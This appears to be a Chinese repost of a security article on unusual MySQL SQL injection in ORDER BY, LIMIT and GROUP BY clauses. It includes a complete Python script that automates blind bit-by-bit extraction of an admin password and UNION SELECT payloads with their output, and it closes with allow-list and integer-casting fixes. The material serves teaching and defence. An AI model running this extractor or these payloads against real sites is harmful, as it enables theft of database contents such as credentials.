您的位置:首页 > 数据库

非常见SQL注入漏洞及利用 Unusual SQL injection vulnerabilities and how to exploit them

2013-03-19 13:59 726 查看
by By ogdan Calin
在本篇文章中,我会谈到一些不常见的SQL注入漏洞,并且说明如何利用这些漏洞。
和最近所报道的一些典型的SQL注入不同,在这种形式的注入漏洞中,攻击者可以控制SQL语句中的 ORDER BY,LIMIT或者GROUP BY 子句。
本篇文章中所有的示例都采用MySql做为终端数据库,这些技巧也可以用到其他数据库中。

当提到当今最常见的SQL注入漏洞时,漏洞利用者采用的最典型的方法就是操纵SQL语法里的where子句。通常来说,SQL查询语句看起来像:

SELECT fieldlist FROM table

WHERE field = '<part_controlled_by_user>';
如果程序没有合理的过滤用户输入,这种代码就是可注入的。攻击者需要决定'fieldlist'列的范围,并且构造一个 UNION SELECT SQL查询来获取数据库中额外的数。最终的查询看起来类似于:
SELECT fieldlist FROM table

WHERE field = 'INVALID_VALUE' UNION SELECT VERSION()

由于条件不成立,查询语句的前半部分将不会返回任何结果。因此,这条查询只返回后半部分的查询结果,也就是MySQL 数据库的版本。但在本篇文章中,我们将不重点关这种类型的SQL 注入,因为近几年来这种技术已经被广泛的描述了。
在这片文章中我们将看到的第一个非常见SQL注入漏洞是对ORDER BY子句的注入。 最近在审核一个流行的PHP Web应用时,我遇到了这种类型的注入并且做了一些研究以发现如何利用它。来看下面的例子:



在上面的例子中我们可以看到,用户可以控制最终结果的显示。通过操作GET变量“order_by”,用户可以显示不同的结果。比如,通过URL请求 '/orderby.php?order_by=name',结果将会是:

1 - admin - Clear Rivers - admin@email.com

3 - John - John Smith - john@email.com

2 - Mary - Mary Smith - mary@email.com

5 - Adrian - Popescu Adrian -adrian@gmail.com

如果请求是'/orderby.php?order_by=email',则将导致和上面不同的顺序:
1 - admin - Clear Rivers - admin@email.com

5 - Adrian - Popescu Adrian -adrian@gmail.com
3 - John - John Smith - john@email.com

2 - Mary - Mary Smith - mary@email.com

在前边的示例代码中,开发者想利用'mysql_escape_string'来过滤用户输入。然而,这种保护并不起作用,因为用户输入并没有被引号括起来。因此,这片代码是有漏洞可以注入的。既然本例中我们不可以用UNION SELTCT,那么该如何利用这个漏洞那?一个类似于“SELECT * FROM users ORDER BY name union select version()”的查询将返回以下的错误信息:
"Incorrect usage of UNION and ORDER BY".

利用的思路是显示的数据根据不同的布尔条件,其顺序不同。SQL查询的语法为:
SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)
因此 在这个例子中SQL查询语句为:
SELECT * FROM users ORDER BY (case when (1=1) then name else email end)
在这种情况下,条件(1=1)为真,所以结果将会按name排序,为1,3,2,5。而在'SELECT * FROM users ORDER BY (case when (1=0) then name else email end)’中,条件不成立,因此结果会按email排序,返回1,5,3,2。

通过使用这些布尔条件,我们可以获取到数据库中我们想得到的任何信息,只是一次能获取的信息量很少。比如说我们想要获取管理员的密码,我们可以构造以下的查询:
SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&1>0) then name else email end)
如果条件为真,即密码的第一个字符的最低位为1,结果将会按照name排序, 否则,即最低位为0,数据按照email排序。为获取第一字节的第二位,我们可以采用以下的查询:
SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&2>0) then name else email end)
一次类推,便可以获取整个密码。这个例子也说明,想要手工获取想要的信息是一个很漫长的过程,因此这个过程需要能够自动完成。我已经编写了一个小的Python脚本,能够用上面所描述的技术获取到数据库中任意想要的信息。



以下是脚本的源码:
# ORDER BY data extractor (bogdan [at] acunetix.com)

import httplib, urllib, sys, string

from string import replace

# various configuration parameters

HOSTNAME = "bld01"

PORT = "80"

URL = "/insecuremag/orderby.php?order_by="

# the string that is returned when the condition is true

TRUE_STRING = "1 - <b>admin</b> - Clear Rivers - admin@email.com<br> 3 - <b>John</b>"

# function to perform the actual data extraction using boolean queries

def extract_data(extract_data_query):

print "Query: " + extract_data_query

result = ""

# bits array

bits = [1, 2, 4, 8, 16, 32, 64, 128]

char = 1

while (1):

i = 0

value = 0

while (i < 8):

# prepare request

h1 = httplib.HTTPConnection(HOSTNAME, PORT, timeout=20)

params = {}

# http headers

headers = {"Host": HOSTNAME,

"Accept": "*/*",

"User-Agent": "Mozilla/4.0 (Acunetix WVS)"}

# prepare SQL query

query = "(case when (ORD(MID((" + extract_data_query + "),"+ str(char) + ",1))& " + /

str(bits[i]) + " >0) then name else email end)"

# make HTTP request

h1.request("GET", URL + urllib.quote_plus(query), params,headers)

try:

r1 = h1.getresponse()

except:

print "error ..."

sys.exit()

# check HTTP status code (we are looking for a 200 response)

if r1.status <> 200:

print "invalid status code: " + str(r1.status)

sys.exit()

# good status code, move on ...

data = r1.read()

# determine bit value based on data, search true string

if string.find(data, TRUE_STRING) != -1:

print "1",

value = value + bits[i]

else:

print "0",

h1.close()

# move to the next bit

i = i + 1

# game over?

if value == 0:

print " DONE"

return result

else:

print " => " + str(value) + " => '" + chr(value) + "'"

# save the current char, move on to the next one

result = result + chr(value)

char = char + 1

# main function

def main():

# check for input params

if len(sys.argv)<=1:

print "usage orderby.py SQL_QUERY_TO_EXTRACT_DATA"

sys.exit()
query = sys.argv[1]

print "[*] ORDER BY data extractor (bogdan [at] acunetix.com) [*]"

print ""

# extract the data

data = extract_data(query)

print ""

print "result => " + data

if __name__ == '__main__':

main()

如何来阻止这个漏洞那?一个解决方法是使用一个可用列表来描述可能的输入,以"order_by"为例:
$possible_values = array("name", "email", "id", "username");

if (!in_array(strtolower($_GET["order_by"]), $possible_values)) {

die("invalid value!");

}

$order_by = strtolower($_GET["order_by"]);

LIMIT子句的注入

让我们来看看下面的代码:
<?php

include 'db.php';

if (isset($_GET["limit"]))

$limit = mysql_escape_string($_GET["limit"]);

else

$limit = '3';

$result = mysql_query("SELECT * FROM users LIMIT $limit");

while( $row = mysql_fetch_array($result) ){

echo "<b>".$row["username"]."</b> - ";

echo " ".$row["name"]." - ";

echo " ".$row["email"];

echo "<br>";

}

?>

这段代码也有漏洞,但这次是在LIMIT子句。然而,利用这个漏洞没有上述的那么复杂,我们可以用UNION SELECT. 通过请求URL:/insecuremag/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8 SQL语句变成:
select * from users limit 2 union select 1,2,version(),4,5,6,7,8
之后我们会看到以下结果:
admin - Clear Rivers - admin@email.com

Mary - Mary Smith - mary@email.com

2 - 5.0.67-0ubuntu6 - 4

因此,当你能控制LIMIT子句时,从数据库中窃取信息是非常容易的。为了防止这种攻击,你最好审查"limit"变量。用$limit = intval($_GET["limit"])来代替$limit = mysql_escape_string($_GET["limit"]) 以确保变量值为数字。

GROUP BY子句的注入
这种情况和LIMIT的情况是相同的,你可以使用UNION SELECT来获取数据。比如,一下语句在MySQL里很有效果:
select * from users group by id union select 1,2,version(),4,5,6,7,8
其预防方法和ORDER BY子句式一样的,你需要一个可允许输入的列表。

总结
"mysql_escape_string"并不是万能的,也存在着一些鞭长莫及的情况。在上面描述的例子中,用户的输入并没有在引号中括起来,mysql_escape_string并不起作用。在这些情况下,你需要手动的确认用户输入,并决定哪些是允许的,哪些是不允许的。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: